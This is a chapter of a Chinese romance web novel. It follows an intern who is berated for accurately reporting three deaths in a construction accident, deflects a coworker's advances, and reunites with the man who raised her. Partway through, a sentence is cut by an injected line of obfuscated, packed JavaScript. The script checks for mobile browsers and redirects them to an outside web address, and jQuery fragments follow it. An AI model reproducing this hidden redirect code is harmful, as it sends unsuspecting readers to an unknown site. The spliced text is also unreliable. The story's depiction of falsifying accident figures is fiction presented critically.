时间拉回到去年的十一月下旬。
北方城市气温骤降零下摄氏度，多地道路结冰。
商务大厦的一间角落办公室，领导的训斥声犹如蚝牛打哼：“说过多少次发出去之前一定要看清楚、看清楚！人命关天的事，你以为这是闹着玩儿的？眼睛长这么大，连几个字都会打错！”
这位马主任在公司是著名的河东狮子吼。
个头小、声量大，传说中的开年会发言都不用配麦克风。一有事就推下属去顶，在上头人面前又是天选的点头哈腰马屁精。
这些八卦，只能私下笑笑。
此时，陆清玉正低眉顺眼地站着挨批。
实习生嘛，也就当个出气筒的作用。
挨骂的原因是昨天她经手发出去的一篇公示。
京住旗下正在开发的楼盘之一因工地起重机违规拆卸，造成坍塌事故。京州市安全生产委员会办公室发来督办函，要求调查和追究责任。
陆清玉如实攥写了一则公关公文：
工人伤残2人，死亡3人。
“说了让你换一换！伤残3人，死亡2人，这很难记住吗？”马主任拍着办公桌，恨铁不成钢地指着她，“你有没有带耳朵上班。”
陆清玉难免想辩驳：“可是确实是有三名工人去世……”
“呸，什么三名？当场死亡的就是两个工人，大家都看到了。最后那个在医院待了两天才没了的，医生都说是他自身就有基础病，要我说多清楚才记得住？”
其实为避免落人口舌，保险赔偿都会落实。
纠结人数，主要是因为根据《生产安全事故报告和调查处理条例》，造成3人以下死亡的工地事故只属于一般事故，“以上”包括本数。
死亡两人比死亡三人的的事故等级低，就不会让高层过分关注。
马主任是老油条，自然希望多一事不如少一事，这就是改个字的事。
但这些也没人和陆清玉一个新来乍到的讲过，她进到单位里听得最多的一句就是前辈说的“你自己研究一下”。
马主任还在滔滔不绝时，陆清玉的直系上司岑惠丽过来敲门救她一命：“主任，会议室安排好了，我这边再跟您对一下材料。”
马主任看透，冷哼：“别以为我不知道你是来保人打岔的。”
“幸亏浏览量不高，也及时补救了失误。”岑惠丽笑笑，“这姑娘才实习两个月不到，很多事要慢慢教的。”
“还优秀大学生呢，这批年轻人质量太差了，一个比一个蠢。”
两个人一来一往，陆清玉夹缝逃生之前，给这位带她入职的岑主管投递了一个感激的眼神。但对方没理她。
拉开那道玻璃门，大家都各干各的，像是怕被炮/火无辜牵连。
陆清玉已经习惯置身事外的同事们和冷漠的氛围，她在心里叹口气，拿起岑主管工位上的空水杯往茶水间走。
两个月前，身边几个要好的同学都说她运气好能进京住建工集团实习，她也曾为此雀跃庆祝过。
陆清玉的大学只是一所普通211，读的专业又是俗称万金油的文科汉语言，二外选了意大利语。就业方向看似多，但其实也就是常见的考编考公、记者、出版和翻译。
考研就算了，她当初是过线后被调剂到这个专业，不算多热爱，也没精力继续上学。
想要毕业后留在京州，似乎只有进“大厂”才有生存空间。
大四这一年，在她帮院里副教授无偿翻译了一个学期的欧洲名著后，陆清玉得到了京住建工集团来校园招聘会被推荐的机会。
进到所谓的铁饭碗企业，文秘部倒不忙。但她这两个月什么也没学到，光是人情世故和暗涌流动的人际关系就够喝一壶的。
一阵烟味从身后飘过来，陆清玉下意识皱眉，往后看。
果然是她那个下头的学长宗睿明。
之所以下头，是因为他在公司转正后的第一剑，挥向谈了五年的外省初恋女友。好巧不巧，这初恋女友还和陆清玉是高中同学。
因此她很清楚他人模狗样之下有双多势力的眼睛。
“又被骂了？我早就跟你说过，在这上班就得把那些学生思维都丢开。”男生和她几乎算同龄人，但说话老气横秋，“你平时得多跟我交流交流，我能传授你一点经验。”
咖啡泡好，陆清玉眼神也没多给一个，敷衍道：“麻烦让让。”
“你别嫌我说得多，我这都是为你好。”宗睿明别有用心，旧话重提，“今晚一起出去玩玩？我知道工体那有家新开的酒吧。”
他边说话，边挡在门口。
从上周开始约吃饭，到这周又换了借口。
陆清玉无疑是个漂亮女孩，巴掌大的鹅蛋脸，明眸皓齿。但又不是望尘莫及的大美人，因为大众眼里的绝世美女要么是清冷白玉莲，要么是凌厉富贵花。
显然，在胡同深巷里野蛮长大的陆清玉都不具备这些气质。她卡在中间，166的中等身高，家境一般，只属于普通人群里挺接地气的美女。
宗睿明对自身条件十分自信，也觉得陆清玉实习期结束后要能顺利转正，那倒也和他合衬，是同一条路上的人。
陆清玉看着眼前这道身影，微微皱眉：“学长。”
身后有俩个实习生来接热水，宗睿明丝毫没察觉到自己妨碍到别人，期待地看着她：“你说。”
陆清玉满脸真诚：“你拉链没拉好，儿童内裤很伤眼。”
“……”
“噗——”
是后边几个人看热闹的笑声。
**
下班去搭地铁的路上，陆清玉不免要在手机上和好友温丛吐槽一番。
温丛和她也是一个高中的老同学，虽然俩人不在同一所大学，但都在本市三环内。周末常聚，这几年关系如旧。
温丛：【宗睿明不是靠关系进去的吗？有什么好得意的。家里没镜子也有尿吧，怎么敢追你！不会是甩了前女友之后，自信心更膨胀吧。】
【这不是追，是骚扰。】
陆清玉身上班味未散，在拥挤人群里找了个缝隙上车，不爽地磨磨牙：【总之他下次要是在公司外面还敢这样挡我路，我不会这么客气的。】
温丛：【冲啊小玉，别给他好脸！今晚来我这玩吗？】
温丛家里开了间酒馆，就在大学城附近。她专业不好找工作，已经打算在家混着。平时没课就去驻台唱唱歌，二十出头的日子过得跟退休老奶奶似的。
说到这，陆清玉蓦地收了刚才张牙舞爪的气势：【今晚不啦，我家里有人来了。】
温丛：【你家？不会是你暗恋多年的那个什么靳准吧？】
陆清玉立刻反驳：【才没有暗恋！】
温丛看破不说破：【好好好，好几年没听过你怎么提他了。千年等一回才等到他来，别笑出鱼尾纹了。】
陆清玉慌张摸了摸眼角，克制住内心喜悦。下午接到张妈电话，说靳准晚上会过来之后，她就一直在期待下班。
张妈不是她的家人，是个独居的耳聋女人。她们刚住在一起的时候，她让陆清玉喊她“张妈”。
所以非要说的话，张妈算是她的保姆。
但陆清玉实在不清楚自己那个老破小的平房，能不能用“保姆”这么奢侈的词。
她依稀记得11岁那年被爸爸匆忙塞到车上，身后是高利贷的追债人，她被告知妈妈不要他们了。准备从县里搬家的那几天，爸爸却没再出现，好像也不要她了。
于是从小就像根蒲草般顽强的陆清玉抓住了靳准这根突如其来的救命稻草，跟着他从榕城来到千里之外的京州。
不管是那时，还是如今，她对靳准的了解都不多。但他有继续供她上学，还把她送到张妈这，给了她一个普通人有的家。
幼时的陆清玉还以为靳准是张妈的干儿子，不过张妈在靳准面前又很恭敬拘束。
上中学之后，她会有意无意地向张妈打听几句，但拼拼凑凑得出的信息也只能大概推测出靳准家里应该是做生意的。
京州最不缺的就是有钱少爷。
陆清玉牵住他衣角的那一年，他刚上大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246607|166358||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学，那会儿他们见面还算频繁。
直到陆清玉上高二，靳准因工作调动被派往西南城市，到现在快五年了。这几年里，他们见面的次数屈指可数。
上一次见，甚至是陆清玉大一入学时。
后来他就跟销声匿迹一样，不知不觉，她都要大学毕业了。
他们之间，总是靳准拥有主导权。
他想见她，就会抽空出现，心情好时，偶尔也会回她讯息。不想见的时候，陆清玉发的几百条信息都会被无视。
有时候她也会思考，靳准到底算她的谁？7岁的年龄差算不上长辈，少女时期微妙的仰慕情愫让她也从没喊过一声哥哥。
朝来暮去，靳准就变成了一个不可说的符号，渐渐烙在她的心口。
**
出地铁站到胡同口还有三百米的步行距离。
这老旧胡同里住客不多，都是老京州的上一辈人，离那些景点景区也远，倒显得寂静不少。
天色完全暗下来了，路面上的冰碴儿还没化，又下起小雪。路灯光晕在雪花簇拥下显得朦胧又微弱，居民平房门口的几盏大红灯笼被风吹得晃晃悠悠。
陆清玉把手从口袋里拿出来呼口热气，正想拿手机先打个电话问问人还在不在。
谁知一抬眼，就在离家不远的那个小卖部门口看见了他。
斑驳的墙头上堆着皑皑灰雪，天穹灰得像在末法时代，店里晕黄的灯光从木门缝隙中透出来。
男人身高足有一米九，穿了件阔肩的黑色呢子大衣。额前黑发被风吹得微凌，眼眸一如既往淡漠，嘴边还懒怠地咬着根烟。
他弓低了背，正避风滑动火机。一簇橘火从虎口迸发，侧颜的锋锐轮廓线被白色烟雾萦绕。
这几年，靳准并没多大变化。
陆清玉倒是有些紧张。都说女大十八变，她自认为大学这四年是自己变化最大的四年。
今天下班的时候，她还补了个妆。
犹豫着该怎么说好久不见时，男人已经朝她看过来，薄唇轻抿着，视线漫不经心地从她周身上下扫过。
他举手投足过于冷静，脸上表情散漫又晦暗不明。
陆清玉都不确定他到底有没有认出来自己，本能反应地扬唇，露出雪白的牙齿微笑。又抬臂挥了挥手，开心地朝他跑过去。
但下着雪的青石板路太滑，她抬腿的第一步就这么双膝直直跪下了。
“……”
“……”
有一点丢脸，但没关系。陆清玉觉得从他那年在小县镇里把脏兮兮的自己捡回来时，他就应该早就习惯她的丑态。
等她快速爬起来，靳准已经走到她跟前。烟圈从他鼻唇呼吸里飘出来，男人袖手旁观她的狼狈。
陆清玉拍了拍膝盖上的雪，仰起脸，佯装镇静：“没事，衣角微脏。”
他毫无同情心，嘲笑的声音如期而至：“我寻思你在给我拜早年？”
“……”
被这么一打岔，生疏感几乎都不用过渡。陆清玉撇撇嘴，不知道怎么反击，索性直接转移话题：“靳准，你什么时候回来的？”
他已经迈出长腿往前走：“昨天。”
她鞋底还有些打滑，怕摔地赶紧拽住他大衣一侧，跟上他脚步：“昨天回来，怎么今天才来看我？”
“谁说我来看你？”
“哼。”陆清玉不满意地碎碎念，“你都没告诉我你这几年到底在哪工作，是不是怕我来找你？我才没空跑这么远，而且你真的很过分！”
踩在脚下的雪发出吱呀吱呀响，靳准听着她聒噪的控诉，黑眸掠过不易察觉的笑：“我怎么过分？”
她伸手掐断从侧前方飘过来的烟气，理直气壮：“16岁到20岁是女孩子最重要的成长阶段之一，但是你都不在我身边。”
他浓黑睫毛低敛，恶劣地反问：“陆清玉，我是你爸？”
陆清玉正要从善如流地这么喊一句。
“爸”字还没叫出口时，他突然转身屈起指骨，毫不留情地敲她光洁脑门：“闭嘴，别恶心我。”